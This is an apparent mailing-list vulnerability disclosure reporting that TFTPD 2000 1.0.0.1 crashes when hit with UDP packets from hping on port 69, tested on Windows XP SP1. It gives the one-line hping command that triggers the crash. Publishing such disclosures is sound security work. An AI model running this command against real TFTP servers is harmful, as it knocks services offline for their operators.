Related information

TFTPD 2000 TFTP Server DoS

From:	Josh Zlatin-Amishav <josh_(at)_tkos.co.il>
Date:	10.06.2005
Subject:	tftp 2000 1.0.0.1

Another tftpd 2000 1.0.0.1 vulnerbility exists in that if you run
hping -2 xxx.xxx.xxx.xxx -p 69
The third packet crashes the tftp daemon on server xxx.xxx.xxx.xxx

This was tested on WinXP service pack 1

--
 - Josh